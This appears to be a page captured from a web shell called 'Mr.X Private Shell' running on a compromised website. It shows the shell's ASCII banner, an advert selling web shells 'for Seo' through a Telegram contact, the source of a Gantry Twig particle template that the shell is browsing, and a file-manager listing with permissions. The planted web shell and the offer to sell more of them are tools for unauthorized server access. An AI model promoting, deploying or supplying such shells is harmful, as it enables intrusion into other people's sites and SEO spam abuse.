__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
{% try %}
{% set in_particle = (in_particle ?? 0) + 1 %}
{% if in_particle > 5 %}
{% throw 500 'Particle loop detected' %}
{% endif %}
{% set id = segment.id %}
{% if not particle %}
{% if noConfig %}
{% set enabled = true %}
{% set particle = segment.attributes %}
{% else %}
{% set enabled = gantry.config.get('particles.' ~ segment.subtype ~ '.enabled', 1) %}
{% set particle = gantry.config.getJoined('particles.' ~ segment.subtype, segment.attributes) %}
{% endif %}
{% endif %}
{% set html %}
{% if enabled and (segment.attributes.enabled is null or segment.attributes.enabled) %}
{% include ['particles/' ~ segment.subtype ~ '.html.twig',
'@particles/' ~ segment.subtype ~ '.html.twig',
'@nucleus/content/missing.html.twig'] %}
{% endif %}
{% endset %}
{% set html = html|trim %}
{% set classes = ((not inContent ? 'g-content g-particle ' : 'g-particle ') ~ segment.classes|join(' '))|trim %}
{%- if html -%}
{% if gantry.debug %}<!-- START PARTICLE {{ id }} -->{% endif %}
{% if ajax is not defined %}<div id="{{ id }}-particle" class="{{ classes }}">{% endif %}
{{ html|raw }}
{% if ajax is not defined %}</div>{% endif %}
{% if gantry.debug %}<!-- END PARTICLE {{ id }} -->{% endif %}
{%- endif -%}
{% catch %}
<div class="alert alert-error"><strong>Error</strong> while rendering {{ segment.subtype }} particle.</div>
{% endtry %}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| atom.html.twig | File | 109 B | 0664 |
|
| missing.html.twig | File | 131 B | 0664 |
|
| particle.html.twig | File | 1.55 KB | 0664 |
|
| position.html.twig | File | 1.11 KB | 0664 |
|
| spacer.html.twig | File | 406 B | 0664 |
|
| system.html.twig | File | 726 B | 0664 |
|
| unknown.html.twig | File | 212 B | 0664 |
|